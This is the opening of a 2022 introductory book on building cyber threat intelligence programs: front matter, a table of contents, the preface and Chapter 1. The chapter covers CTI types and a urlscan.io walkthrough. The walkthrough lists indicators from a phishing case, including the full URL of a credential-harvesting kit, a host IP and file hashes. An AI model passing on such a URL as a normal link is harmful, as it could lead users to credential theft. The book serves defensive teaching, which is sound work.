
		
			[image: Cover.png]
		

	
		
			Operationalizing Threat Intelligence

			A guide to developing and operationalizing cyber threat intelligence programs

			Kyle Wilhoit

			Joseph Opacki

			[image: ]

			BIRMINGHAM—MUMBAI

			Operationalizing Threat Intelligence

			Copyright © 2022 Packt Publishing

			All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

			Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the authors, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

			Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

			Group Product Manager: Vijin Boricha

			Publishing Product Manager: Mohd Riyan Khan

			Senior Editor: Tanya D'cruz

			Content Development Editor: Nihar Kapadia

			Technical Editor: Shruthi Shetty

			Copy Editor: Safis Editing

			Project Coordinator: Ajesh Devavaram

			Proofreader: Safis Editing

			Indexer: Subalakshmi Govindhan

			Production Designer: Prashant Ghare

			Marketing Coordinators: Sourodeep Sinha and Hemangi Lotlikar

			First published: June 2022

			Production reference: 1090522

			Published by Packt Publishing Ltd.

			Livery Place

			35 Livery Street

			Birmingham

			B3 2PB, UK.

			ISBN 978-1-80181-468-3

			www.packt.com

			For Stella, who was the best brown dog anyone could have.

			– Kyle Wilhoit

			For my love, who has provided me with purpose in our life journey together, and for my daughter, who inspires me to leave the world a better place.

			– Joseph Opacki

			Contributors

			About the authors

			Kyle Wilhoit is cybersecurity and cyber threat intelligence professional with wide experience ranging from security architecture to threat analysis. Kyle is specialized in threat intelligence collection and analysis, with a specific focus on nation-state actor groups.

			Kyle earned his graduate and undergraduate degrees from Lindenwood University, in St. Charles, Missouri. His work history includes being a threat researcher and leader throughout Silicon Valley, including companies such as DomainTools, Trend Micro, FireEye, and others. Kyle has been an active member on the Blackhat US board since 2016 and has spoken at over 40 conferences across the globe and published over 30 blogs or whitepapers on original research he has performed. Kyle is also the coauthor of Hacking Exposed: Industrial Control Systems: ICS and SCADA Security Secrets and Solutions.

			Kyle currently resides in St. Louis, Missouri with his wife and kids.

			This book would not have been possible without my wife, who somehow managed to fully support me during the writing of a book on a subject matter she knows or cares nothing about. Also, thank you Mom and Dad, who forever fed my curiosity about computers, even at the age of 12. Finally, I'd like to thank my Brazilian Jiu-Jitsu coach, Dave Greenlee, who continually proves that the fundamentals of good jiu-jitsu are also the fundamentals of good character.

			Joseph Opacki is a United States Marine Corps (USMC) veteran and career cybersecurity professional with a specialization in malware reverse engineering, computer intrusion investigation, security research, and threat intelligence. He received his undergraduate degree from George Mason University and his graduate degree from the Virginia Polytechnic Institute and State University. He has been active in academia working as an Adjunct Professor for over a decade in the Master of Digital Forensics program at George Mason University. Before his retirement from public service, Joseph was a malware reverse engineering Subject Matter Expert (SME) at the Federal Bureau of Investigation.

			This book would not be possible without my wife. She is the person that consistently challenges me to do more and not settle for the status quo. She has always fully supported any of my life's endeavors and never turned her nose up at anything I ever wanted to accomplish, rather providing all the motivation and support I needed to be successful. Thank you to all the colleagues in my career that have taught me and motivated me. You are appreciated!

			About the reviewers

			Kunal Sehgal has been a cyber-evangelist for over 15 years and is an untiring advocate of Cyber Threat Intelligence sharing. He encourages cyber-defenders to work together by maintaining a strong level of camaraderie across public and private organizations, spanning sectorial and geographical barriers. He is not only actively connected with various communities in Asia but also regularly shares credible intelligence with various law enforcement agencies around the world. These efforts have helped organizations proactively defend themselves against cyber threats and have collectively helped sectors become more resilient.

			In his professional capacity, Kunal has worked on setting up two Information Sharing and Analysis Centers in Singapore, to serve the APAC region. He has also worked with all major national CERTs, regulators, and other government bodies in Asia, to strengthen intelligence networks for combatting cybercrime. In 2018, Kunal was part of a global working group, chaired by the Global Forum on Cyber Expertise (GFCE), to make policy-related recommendations to a panel of 90+ member countries.

			Kunal invests his non-working hours researching, blogging, and presenting at cyber-events across Asia. He has earned 17 certifications/degrees and has coauthored two whitepapers in the cyber realm.

			Dedicated to S.M.

			Anthony DESVERNOIS is an IT security professional with more than 10 years of experience in the banking industry. He has worked in many fields within IT across Europe, Asia-Pacific, and the Americas, as an individual contributor and as a manager. 

			Anthony has been passionate about computer science, and especially IT security, from a young age, on both functional and technical sides. 

			Anthony holds a Master of Science in systems, network, and security and a master's in business administration.

		

	
		
			Table of Contents

			Preface

			Section 1: What Is Threat Intelligence?

			Chapter 1: Why You Need a Threat Intelligence Program

			What is CTI, and why is it important?

			Data, information, and intelligence

			Tactical, strategic, operational, and technical threat intelligence

			Tactical CTI

			Strategic CTI

			Operational CTI

			Technical CTI

			Subject matter expertise

			The uses and benefits of CTI

			How to get CTI

			What is good CTI?

			The five traits of good CTI

			Admiralty ratings

			Source ratings

			Data credibility ratings

			Putting it together

			Intelligence cycles

			The threat intelligence life cycle 

			F3EAD life cycle

			Threat intelligence maturity, detection, and hunting models

			TIMM

			The threat HMM

			The detection maturity model

			What to do with threat intelligence

			Summary

			Chapter 2: Threat Actors, Campaigns, and Tooling

			Actor motivations

			Bragging rights or for fun

			Financial or for profit

			Revenge

			Ideological beliefs

			Intelligence gathering and intellectual property theft

			Terrorism

			Warfare

			Threat actors

			Nation state attackers

			Cybercriminals

			Hacktivists

			Terrorist groups

			Thrill seekers

			Insider threats

			Threat campaigns

			Vulnerabilities and malware

			Vulnerabilities and exploits

			Malware

			Malware, campaigns, and actor naming

			The act of naming

			Actor, activity, and group naming

			Malware naming

			Campaign naming

			Aliases

			Tooling

			System administrator tools

			Open source tools

			Hacking tools

			Threat actor attribution

			Summary

			Chapter 3: Guidelines and Policies

			The needs and benefits of guidelines, procedures, standards, and policies

			Guidelines

			Procedures

			Standards

			Policies

			SIRs

			PIRs 

			GIRs

			Defining intelligence requirements

			Evaluating the intelligence requirement

			The prioritization of intelligence requirements

			FCRs

			Reevaluation 

			IERs

			DIRs

			Developing intelligence requirements

			Attack surface versus threat actor focused

			A GIR example

			Summary

			Chapter 4: Threat Intelligence Frameworks, Standards, Models, and Platforms

			The importance of adopting frameworks and standards

			Threat modeling methods and frameworks

			Threat intelligence pyramid of pain

			Cyber Kill Chain

			Diamond model

			MITRE ATT&CK

			Threat intelligence and data sharing frameworks

			Traffic light protocol

			Structured Threat Information eXpression

			Trusted Automated eXchange of Indicator Information (TAXII)

			Storage platforms

			OpenCTI

			Malware Information Sharing Platform (MISP)

			Summary

			Section 2: How to Collect Threat Intelligence

			Chapter 5: Operational Security (OPSEC)

			What is OPSEC?

			The OPSEC process

			Types of OPSEC

			Identity OPSEC

			Personal protection

			Online persona creation

			Technical OPSEC types and concepts

			Infrastructure and network

			Hardware

			Software and operating system

			Actor engagement

			Source protection

			OPSEC monitoring

			Personnel training and metrics

			Summary

			Chapter 6: Technical Threat Intelligence – Collection

			The collection management process

			The role of the collection manager 

			Prioritized collection requirements

			The collection operations life cycle

			Surveying your collection needs

			Intelligence collection metrics 

			Prioritized intelligence requirements

			Requests for information

			Planning and administration

			People

			Process

			Tools and technology

			The collection operation

			Collection types

			Data types

			Raw data

			Analyzed data

			Production data

			The artifact and observable repositories

			Intelligence collection metrics

			Quantitative metrics

			Qualitative metrics

			Summary

			Chapter 7: Technical Threat Analysis – Enrichment

			The need and motivation for enrichment and analysis

			Infrastructure-based IOCs

			Domain Name System (DNS)

			WHOIS

			Passive DNS

			File-based IOCs

			File artifacts

			Static tool analysis

			Dynamic malware analysis

			Setting up the environment

			Dynamic malware analysis tools

			Defeating system monitoring

			Cuckoo sandbox

			Online sandbox solutions

			Reverse engineering

			Summary

			Chapter 8: Technical Threat Analysis – Threat Hunting and Pivoting

			The motivation for hunting and pivoting

			Hunting methods

			Verdict determination

			Threat expression

			Translating IOCs to TTPs

			Hunting and identification signatures

			Pivot methods

			Malicious infrastructure pivots

			Malicious file pivots

			Pivot and hunting tools and services

			Maltego

			AlienVault OTX

			urlscan.io

			Hybrid Analysis

			VirusTotal graphing/hunting

			RiskIQ PassiveTotal

			Summary

			Chapter 9: Technical Threat Analysis – Similarity Analysis

			The motivations behind similarity analysis

			What is similarity grouping?

			Graph theory with similarity groups

			Direction

			Graphical structures

			Similarity analysis tools

			YARA

			Graphing with STIX

			Hashing and fingerprinting tools

			Import hashing

			Fuzzy and other hashing methods to enable similarity analysis

			Useful fingerprinting tools

			Summary

			Section 3: What to Do with Threat Intelligence

			Chapter 10: Preparation and Dissemination

			Data interpretation and alignment

			Data versus information versus intelligence

			Critical thinking and reasoning in cyber threat intelligence

			Cognitive biases

			Foundations of analytic judgments 

			Motives and intentions

			Analytic confidence

			Metadata tagging in threat intelligence

			Thoughts before dissemination

			Summary

			Chapter 11: Fusion into Other Enterprise Operations

			SOC

			IR

			The IR life cycle

			F3EAD

			Red and blue teams

			The red team

			The blue team

			Threat intelligence

			Information security

			Other departments to consider

			Products and services

			Marketing and public relations

			Sales

			Legal and organizational risks

			Executive leadership

			Summary

			Chapter 12: Overview of Datasets and Their Practical Application

			Planning and direction

			Collection

			Analysis

			Infrastructure discovery

			Production

			Cyber Threat Intelligence Report – Ozark International Bank

			Dissemination and feedback

			Summary

			Chapter 13: Conclusion

			What Is Cyber Threat Intelligence?

			How to Collect Cyber Threat Intelligence

			What to Do with Cyber Threat Intelligence

			Summary

			Other Books You May Enjoy

		

	
		
			Preface

			The volume of cyber threat events that occur has reached a point at which the world is talking about numerous attacks against various organizations' attack surfaces daily. Additionally, the reasoning behind these attacks ranges from opportunistic to financially motivated to revenge, and even to support ongoing physical conflicts between nations. It's no longer a question of if you or your organization will be impacted by a cyber threat event; it's now a question of when.

			This book is written for one purpose, and that is to introduce individuals and organizations to cyber threat intelligence operations. In this book, we take you through the process of evaluating the cyber threat intelligence life cycle and discuss the various motivations, operating processes, and points to consider when establishing or maturing a cyber threat intelligence program. During the process, you are introduced to the different phases of the intelligence life cycle that assist you with understanding your knowledge gaps, evaluating threats, building a program to collect data about threats, analyzing those threats, and using the information collected to make hypotheses that inform strategic decision making about the threats most organization are facing.

			By the end of this book, you will be able to build a cyber threat intelligence program that focuses on threat actors, campaigns, and actor tools, in addition to establishing processes and procedures that focus on the analysis and enrichment of technical data collection about threats that will assist you or any organization with key decision making around security posture improvements.

			Who this book is for

			This book is truly intended to be introductory-level material that can be applicable to early-in-career professionals who want to approach threat intelligence as a discipline. Anyone looking to implement basic threat intelligence collection and enrichment would likely find this book valuable. This book could also be beneficial to people in roles such as a threat intelligence analyst, security operations center (SOC) analyst, or incident responder.

			What this book covers

			Chapter 1, Why You Need a Threat Intelligence Program, is where you will learn the fundamentals of what threat intelligence is, how it differs from data, and what constitutes good threat intelligence. 

			Chapter 2, Threat Actors, Campaigns, and Tooling, is where we examine the varying types of threat actors, their behaviors and approaches to committing attacks, their motivations, and the associated tactics, techniques, and procedures (TTPs) utilized in their attack chain.

			Chapter 3, Guidelines and Policies, is where you will be introduced to the needs and benefits of the various guidelines, procedures, standards, and policies that should be introduced into a cyber threat intelligence program. 

			Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms, is where you will examine threat models, frameworks, and standards to help organize, structure, and facilitate sharing, analysis, and the understanding of threat intelligence data and information with stakeholders. 

			Chapter 5, Operational Security (OPSEC), covers fundamental considerations to operational security (OPSEC) when conducting investigations. While not all-encompassing, these considerations can be helpful for new threat intelligence professionals. We wrap the chapter up by examining collections operations. 

			Chapter 6, Technical Threat Intelligence – Collection, is where you will examine the second phase of the intelligence life cycle, the collection phase. We'll look into what collection is, the collection management process, the role of the collection manager, and the collections operations life cycle.

			Chapter 7, Technical Threat Analysis – Enrichment, covers technical threat intelligence enrichment and analysis, which examines the process of adding context to threat intelligence data and enhancing or improving that data by performing actions such as removing false positives or incorrect intelligence data.

			Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting, is where we examine hunting and pivoting on threat data from collection operations to see whether the related malicious activity can be identified. We will also look into several hunting and pivoting methods, as well as introducing you to several tools and services that could be used to assist you with performing these types of operations.

			Chapter 9, Technical Threat Analysis – Similarity Analysis, is where we introduce the concept of using graph theory with similarity grouping, in addition to introducing you to several similarity grouping tools. Finally, we introduce you to the concept of using tools to cluster infrastructure or files.

			Chapter 10, Preparation and Dissemination, is where we focus on how to interpret the collected data, evaluate it for intelligence, and identify portions that should be considered timely, accurate, and relevant threat intelligence. Special focus in this chapter is placed on interpretation and alignment, critical thinking and reasoning, tagging, and considerations relating to threat intelligence.

			Chapter 11, Fusion into Other Enterprise Operations, covers key stakeholders of the organization that would consume the threat intelligence, why, and for what purpose. This chapter examines the distinct considerations for using threat intelligence throughout several organizational units. 

			Chapter 12, Overview of Datasets and Their Practical Application, establishes an example threat intelligence collection, analysis, and production scenario that is used to walk through each of the phases of the intelligence life cycle to ensure that you get some hands-on practice in each phase as it applies to the real-world scenario.

			Chapter 13, Conclusion, is where we wrap up everything we discussed previously and highlight how each of the previous chapters is part of the intelligence life cycle and how they fit into the cyclical process of operationalizing threat intelligence. 

			To get the most out of this book

			While many of the tools mentioned throughout this book are services commonly found online, we do utilize several pieces of software. When we examine software, it's advisable to run the software in virtualized environments, using software such as VirtualBox. Specifically, in the instances where we mention software usage, the basic requirements are as follows:
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			If you are using the digital version of this book, we advise you to type the code yourself or access the code from the book's GitHub repository (a link is available in the next section). Doing so will help you avoid any potential errors related to the copying and pasting of code.

			All of the examples used throughout this book use free-to-use accounts on commonly available threat intelligence tools, such as RiskIQ's PassiveTotal. In cases where there is additional paid-for functionality in those tools, such as advanced search features, we ensure that it's mentioned. 

			Download the color images

			We also provide a PDF file that has color images of the screenshots and diagrams used in this book. You can download it here: https://static.packt-cdn.com/downloads/9781801814683_ColorImages.pdf.

			Conventions used

			There are a number of text conventions used throughout this book.

			Code in text: Indicates code words in the text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "In this example, let's imagine an incident responder finds an infected host with communication going to an IP address – 45.9.148.108."

			A block of code is set as follows:

			#include <windows.h>

			#define WIN32_LEAN_AND_MEAN

			void filter()

			{

			     return;

			}

			Any command-line input or output is written as follows:

			pe.imphash() == <imphash value>

			Bold: Indicates a new term, an important word, or words that you see on screen. For instance, words in menus or dialog boxes appear in bold. Here is an example: "FCR Identifier: 1.0."

			Tips or Important Notes	

			Appear like this.

			Get in touch

			Feedback from our readers is always welcome.

			General feedback: If you have questions about any aspect of this book, email us at customercare@packtpub.com and mention the book title in the subject of your message.

			Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packtpub.com/support/errata and fill in the form.

			Piracy: If you come across any illegal copies of our works in any form on the internet, we would be grateful if you would provide us with the location address or website name. Please contact us at copyright@packt.com with a link to the material.

			If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.

			Share Your Thoughts

			Once you've read Operationalizing Threat Intelligence, we'd love to hear your thoughts! Please click here to go straight to the Amazon review page for this book and share your feedback.

			Your review is important to us and the tech community and will help us make sure we're delivering excellent quality content.

		

	
		
			Section 1: What Is Threat Intelligence?

			Section 1 of Operationalizing Threat Intelligence introduces the core concepts of threat intelligence. This section addresses and answers the question What is threat intelligence? The chapters throughout Section 1 will cover everything from defining the purpose of the book to helping you to understand the importance of prioritized collection requirements. This section sets the foundation and stage for the more technical Section 2 and Section 3.

			This part of the book comprises the following chapters:

			
					Chapter 1, Why You Need a Threat Intelligence Program

					Chapter 2, Threat Actors, Campaigns, and Tooling

					Chapter 3, Guidelines and Policies

					Chapter 4, Threat Intelligence Frameworks, Standards, Models, and Platforms

			

		

	
		
			Chapter 1: Why You Need a Threat Intelligence Program

			Today, almost every organization has a digital footprint, and this alone makes any organization a target of opportunity for threat actors who have malicious intent. 

			So, something happened, right? Ransomware? Supply chain attack? Ransomware because of a supply chain attack? Something worse? Often, individuals and organizations experience a revelation during times of concern or crisis that causes them to explore other options. Through the process of discovery, if you have come across the term threat intelligence and want to know more about how it can assist in maturing your security posture or protecting your organization, great! We're glad you made it here because we're here to help.

			Threat intelligence, a mystery to many, is a science to some. The how, where, when, and why of technical threat intelligence collection and enrichment is a complex topic, with many facets to explore. The objective of this chapter is to introduce core concepts related to technical threat intelligence, including the motivation, models, and methods by which threat intelligence can be collected and enriched. 

			Specifically, in this chapter, we are going to cover the following topics:

			
					What is Cyber Threat Intelligence (CTI), and why is it important?

					Tactical, strategic, operational, and technical CTI

					The uses and benefits of CTI

					How to get CTI

					What is good CTI?

					Intelligence life cycles

					Threat intelligence maturity, detection, and hunting models

					What to do with threat intelligence

			

			What is CTI, and why is it important?

			The concept of CTI is as old as war. Understanding a threat actor's intentions, capabilities, objectives, resources, and thought process leads to a better-informed defender. Ultimately, the end result of intelligence could be as simple as updating a firewall block policy with a feed of known malware Command & Control (C2) infrastructure. Additionally, it could be a dossier on threat actors targeting your organizational industry vertical. Ultimately, a better-informed defender can make actionable changes in an organization's risk profile by better directing all lines of business within an organization.

			Ask any IT security professional what CTI is, and you'll likely get different definitions. The definition of threat intelligence almost always varies from organization to organization. This is often due to the differing motivations within each organization for having a threat intelligence program. We're not going to wax poetic about the differing threat intelligence definitions, so instead, we'll focus on the definition as it relates to this book.

			If we were to distill down what CTI is, simply put, it is data and information that is collected, processed, and analyzed in order to determine a threat actor's motives, intents, and capabilities; all with the objective of focusing on an event or trends to better inform and create an advantage for defenders. Many organizations face challenges regarding CTI functions – such as a flood of alerts generated from an automated API feed. A properly executed CTI collection and enrichment program can help assist with those challenges.

			Data, information, and intelligence

			When talking about CTI, it's important to differentiate between data, information, and intelligence. It's important to understand the distinct differences between data, information, and intelligence so that you can store, analyze, and determine patterns more efficiently. As an example, a URL is a piece of data that contains a domain – the registrant data for that domain is information, and the registrant being commonly associated infrastructure with the Threat Actor Group (TAG) APT29 would be considered intelligence. 

			Important Note

			This is the first time we've used the acronym of TAG. To clarify our vernacular, a threat actor is a person or entity responsible for malicious cyber activity. A group of threat actors working in unison is called a TAG and, often, is identified directly through naming conventions such as APT29, which was referenced earlier. We'll be covering more on TAG naming conventions in Chapter 2, Threat Actors, Campaigns, and Tooling.

			Data is a piece of information, such as an IP address, malware hash, or domain name. Information is vetted data, but often lacks the context that is needed for strategic action, such as an IP address with no malicious/benign categorization or contextualization. And finally, intelligence is adding a layer of analysis and context to that information and data and, therefore, making the intelligence actionable, such as a feed of malware hashes associated with cybercrime actors operating out of Europe. 

			To help in adding context, examples of each can be found in Table 1.1:
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			Table 1.1 – Table demonstrating data, information, and intelligence

			The process of converting data into threat intelligence includes a combination of collection, processing, analyzing, and production, which will be explored later in the chapter.

			Understanding the importance of threat intelligence and the differentiation of data, information, and intelligence is paramount to a structurally sound CTI program. Now that we've looked at those important aspects, we're going to dive into understanding the difference between the different types of intelligence: tactical, strategic, operational, and technical.

			Tactical, strategic, operational, and technical threat intelligence

			When thinking about CTI, it's easy to assume that it is one discipline. On the surface, an analyst collects data from several sources, analyzes that data, and synthesizes intelligence, which, ultimately, helps the organization take action. However, closer inspection reveals there are really four distinct types of CTI.

			Tactical CTI

			Tactical CTI is the data and information related to the Tactics, Techniques, and Procedures (TTPs) used by threat actors to achieve their objective. Ultimately, tactical CTI is intended to inform defenders, threat detection and response engineers, incident responders, and other technical teams throughout the organization in order to motivate an action of some sort. Unlike strategic CTI, tactical CTI is almost exclusively used by technical resources. Usually, tactical CTI is consumed directly by those responsible for defending an organization. 

			The most common deliverables include targeted reports, threat feeds, and API feeds of malicious observables. Many of the reports that are generated focus on the technical details pertaining to a malware family, threat group, or campaign of activity. Some examples of what might be included in tactical CTI reports include the following:

			
					Targeted industries

					The infection vector of the threat actor 

					The infrastructure used by the attacker

					Tools and techniques employed by the threat actor

			

			To produce tactical CTI, a combination of open source and vendor-provided intelligence and data is most often used. To create tactical threat intelligence, the producer should employ an active collection and enrichment process. Some examples of sources of tactical CTI include the following:

			
					Malware analysis details

					Honeypot log analysis

					Internal telemetry data

					Scan data (such as Shodan.io)

			

			Next comes strategic CTI. 

			Strategic CTI

			Strategic CTI is often non-technical threat landscape information that is related to risk-based intelligence and, typically, includes relevant industry vertical intelligence. Strategic CTI is most often used by senior decision-makers throughout organizations. 

			The most common deliverables include reports or briefings. It's common for the data sources for strategic CTI to be open source and include a wide variety of sources. Take a look at the following:

			
					Local and national media

					Government policy documents

					Industry reporting

					Content produced by industry organizations

					Social media activity

			

			Let's move on to operational CTI.

			Operational CTI

			In an ideal world, CTI would enable preventative action to be taken before a threat actor compromises an organization. Operational CTI is intelligence unearthed about possible incoming attacks on an organization. Operational intelligence is typically technical and strategic in nature and includes information pertaining to the intent, capabilities, and timing of impending attacks. This provides insight into the sophistication of the threat actor or group, helping dictate an organization's next steps. Operational CTI helps enable defenders to block activity before the activity even takes place, but due to this, operational CTI is, most often, some of the hardest to generate.

			The most common deliverable for operational CTI is spot reports with technical indicators and context extracted from other strategic intelligence. There are many sources that can generate this type of CTI, including the following:

			
					Intercepting the chat logs of threat actor coordination

					Social media

					Chat rooms and instant messaging rooms (such as Discord or Telegram)

					Underground forums and marketplaces

					Public and private forums and message boards

			

			Next, let's take a look at technical CTI.

			Technical CTI

			Technical CTI is exactly what it sounds like – technical indicators related to an actor's tools, malware, infrastructure, and more are used to conduct their activities. Technical CTI differs from tactical CTI because technical CTI most commonly focuses on Indicators Of Compromise (IOCs), and tactical CTI relies on analyzing TTPs.

			For example, say tactical threat intelligence indicates that the financially motivated criminal group FIN7 has attacked the banking industry in the United States and Europe. Technical threat intelligence would provide the specific hashes, infrastructure, and other details pertaining to the specific attack. 

			Ultimately, technical CTI is intended to inform defenders, threat detection and response engineers, incident responders, and other technical teams throughout the organization. The most common deliverables include the following:

			
					Feeds or reports including malicious hashes, infrastructure, and other file attributes

					Changes to a system infected with specific malware; for example, registry modifications

					Confirmed C2 infrastructure

					Email subject lines

					Filenames or file hashes

			

			Sourcing technical threat intelligence comes from a litany of locations, for example, consider the following:

			
					Information security industry blogs and white papers

					Malware analysis

					Industry trust groups

					Threat feeds

			

			To wrap up, in the following table, let's examine the distinct differences when comparing and contrasting each intelligence type, their respective audiences, and length of intelligence value:
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			Table 1.2 – A table comparing intelligence types

			Within each of the CTI types, there is often a conversation about Subject Matter Expertise (SME) and relative team function. In the following section, we're going to explore the concept of SME within each CTI type.

			Subject matter expertise

			The concept of SME is a common conversation among threat intelligence circles. When setting up a threat intelligence program, it's important to consider the possible positives and negatives associated with dividing relative team functions among three broad SME focus areas: vulnerability and exploitation, cyber (criminal and nation-state), and brand:
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			Table 1.3 – Intelligence SME types

			While CTI functions employing subject matter experts don't fit every team structure, it's an important consideration to take into account when constructing a team focused on CTI. In the following section, we're going to dive into the importance of CTI and its relative uses and benefits to an enterprise.

			The uses and benefits of CTI

			I think it can wholeheartedly be stated anywhere within this industry that CTI is important to everyone as it provides contextual information that allows for strategic decision-making. This context allows it to be used by almost any level of analyst or researcher throughout any organization. Its use is not limited to some elite subset of intelligence analysts who claims to know every move of a TAG. Key judgments can be formed from contextual intelligence at any level of employment; from a Security Operations Center (SOC) analyst implementing a firewall policy change after receiving intelligence that a URL is serving a web shell that is known to be associated with several TAGs or even a C-level executive making informed strategic decisions to improve the security posture of their organization. 

			However, to utilize threat intelligence, several key factors need to exist for it to be useful. First, it needs to be timely in the sense that the delivery of information is provided to a key decision-maker before a key event so that a judgment can be formed around its context. Second, the intelligence must be actionable, that is, the intelligence provided should allow for that key judgment to be realized and a decision made that allows the individual or organization to make a decision based on its delivery. Third, intelligence should be relevant. By actionable, we're referring to the ability to take any action based on the intelligence itself. Finally, intelligence must be delivered in a format that has the lowest barrier to entry for consumption by an organization. This means that any individual or organization that wishes to benefit the most from the existence of CTI must incorporate it into their processes and procedures or even develop security automations around it. 

			The context of the threat provided by the intelligence is where its value truly lies, as it assists any individual or organization with prioritization, which is one of the most important benefits of threat intelligence. No matter what security role you play in an organization, your role will benefit from the context that threat intelligence provides, as this will allow you to prioritize your key decision-making around the data your organization is consuming. 

			For example, let's consider this paradigm. Organizations that are only now beginning to look at implementing some form of threat intelligence program into their security organization often start by identifying free data feeds or online services that contain some form of security information, usually in the form of a threat data indicator or IOC. While this is a great start in the collection of data and information that could be used to create threat intelligence, without the context surrounding this information and the appropriate indoctrination by people, processes, and technologies, this approach usually leads to just more information and the encumberment of your human workforce.

			With all of this extra information, the burden is just added to your analyst to decide what to review and prioritize and what to ignore. This approach can lead to operational misses, such as incidents that could have been prevented if the appropriate prioritization were placed on the information you were receiving from your threat data feed. CTI can assist in providing context around this information that you receive and give you key insights into the TAG's TTPs. This will assist in informing your decision-making and help you prioritize your actions based on the contextual intelligence provided.

			Now that you're aware of the uses and benefits of CTI, let's explore how to get CTI.

			How to get CTI

			Getting information about threats is relatively easy; either you're creating data through internal product telemetry, you're collecting from a data feed, or you're doing both. Data and information that can be used as a foundation for threat intelligence is just a Google search away. This kind of search will present you with lots of sources that provide threat data in the form of feeds that you can utilize to begin the evaluation and intelligence enrichment processes. One important thing to note, though, is that this information is not CTI but threat data feeds. Once you have it in place, you will still need to go through the process of considering whether the information is credible, actionable, and timely as well as considering how you will work it into your internal standard operating procedures or security automations. Right now, I want to walk you through the process of gathering some technical information from an open source resource published on the internet. This will give you an introduction if you are starting your journey from scratch. 

			Some of the most common indicator types that individuals and organizations are seeking some type of context and reputation for are URLs, domains, and IP addresses. These indicator types are riddled throughout the logs of any corporate ecosystem, and nobody with any kind of digital footprint is doing business without accessing some form of these. Domain, URL, and IP address reputation intelligence can assist internet users to determine whether the internet endpoint is safe, suspicious, or even malicious, essentially allowing the individuals or the corporation to protect themselves against any known malware source, its delivery mechanisms, or any malicious content on the web.

			Let me introduce you to a free web-based service called urlscan.io. Their mission is to allow anyone to analyze unknown and potentially malicious websites easily and confidently. According to their website (https://www.urlscan.io), the following is true:

			When a URL is submitted to urlscan.io, an automated process will browse to the URL like a regular user and record the activity that this page navigation creates. This includes the domains and IPs contacted, the resources (JavaScript, CSS, etc) requested from those domains, as well as additional information about the page itself. urlscan.io will take a screenshot of the page, record the DOM content, JavaScript global variables, cookies created by the page, and a myriad of other observations. If the site is targeting the users of one of the more than 400 brands tracked by urlscan.io, it will be highlighted as potentially malicious in the scan results.

			The urlscan.io service itself is free, but they also offer commercial products for heavy users and organizations that need additional insight.

			To begin utilizing urlscan.io, simply navigate to their website and type the URL you are seeking a reputation for into the form field at the top of the page, as referenced in Figure 1.1. Then, click on Public Scan to begin the process:

			
				
					[image: Figure 1.1 – The urlscan.io landing page]
				

			

			Figure 1.1 – The urlscan.io landing page

			Once you click on Public Scan, urlscan.io goes through the process described earlier to initiate some form of reputation determination regarding the site you are seeking questions about. It will provide you with the results of its analysis and even a verdict that you can utilize for decision-making. Examples of malicious urlscan.io results can be seen in Figure 1.2, along with all the additional observable information produced during the scan of the URL:
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			Figure 1.2 – The urlscan.io results for a malicious domain

			You can clearly see in the results of the URL scan that urlscan.io believes this domain contains some form of malicious activity specifically targeting Credit Agricole, a financial services company based out of France. You can see in the results of the scan that there is a large amount of data and information produced about the URL that can be collected and utilized as a part of creating your CTI.

			If you click on the Indicators tab on the website, you will be presented with Figure 1.3:
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			Figure 1.3 – The Indicators tab on urlscan.io

			The results of the URL scan allow us to provide you with a small demonstration of how data can be transitioned into information that can be utilized as the foundation for CTI. In the following list, you will find a sampling of indicator data from the URL scan along with the indicator types:

			
					URL: https://www.dorkyboy.com/photoblog/templates/smokescreen/styles/js/mdddss/lmmnodejs/

					DOMAIN: dorkboy.com

					IP ADDRESS: 174.136.24.154

					HASH: 1c8399c9f4f09feb8f95fe39465cc7e70597b0097ad92da954 db82646ec68dc3

					HASH: 7b0da639a2ad723ab73c08082a39562aa3a2d19adb7472f1 dbb354c5fd0b4c20

			

			In this example, the URL indicator was the first piece of data that was utilized to start an operation investigation for this use case. Through the utilization of urlscan.io, it was determined that the associated indicators could be tied to the initial data. Often, this is called pivoting and is part of the hunting and enrichment process that we will describe, in detail, in later chapters. This hunting and enrichment process provides us with information we can then utilize to create our threat intelligence. Finally, based on the result set, we can see that the URL is malicious and that the threat actor performing the malicious activity is specifically targeting the financial services industry in France. Further investigation would show that the URL points to a phishing kit deployed on a compromised website, which is being utilized to collect account credentials.

			Based on all the information provided here, you can see that in the right context, strategic decisions about the URL can be made to protect your users or harden your security posture.

			Important Note

			It is important to note that in the preceding example, the URL is specifically malicious in this instance – this does not always mean that the domain should be categorized as the same. Often, legitimate domains are compromised, and threat actors upload kits meant to target specific brands and will specifically socially engineer users to the deep URL within the domain. Once a compromise has been identified, the domain owner will go through the process of cleanup to eliminate the malicious URLs in the domain. Malicious categorization contains a timeout and revaulation period, ensuing the verdict is accurate and any initial malicious categorization should expire or be reevaulated. 

			Almost any organization can retrieve and receive CTI, but that doesn't necessarily mean that the intelligence is actually usable and good. In the following section, we're going to take a deep dive into what constitutes good CTI.

			What is good CTI?

			Almost anyone can generate threat intelligence. However, not everyone can generate good threat intelligence. In order to generate threat intelligence that is considered good and is useful, there are five key traits to consider in combination with the Admiralty, source, and data credibility ratings. When combining all of these key concepts together, the end result should generate timely, accurate, and useful threat intelligence.

			Let's look at the traits of good CTI.

			The five traits of good CTI

			When thinking of CTI in general, there are five key traits that can be distilled down to illustrate what constitutes good CTI. 

			Those five traits include the following:

			
					Accuracy: Is the intelligence correct in every detail? This is a key concept ensuring that only accurate intelligence is retained. 

					Completeness: How comprehensive is the intelligence? Completeness helps ensure all related intelligence is gathered and collected. 

					Reliability: Does this intelligence contradict other trusted sources? Reliability means that a piece of information is reliable and doesn't conflict with another piece of information or data in a different source or system. When data or intelligence conflicts from two sources, that intelligence then risks becoming untrustworthy. 

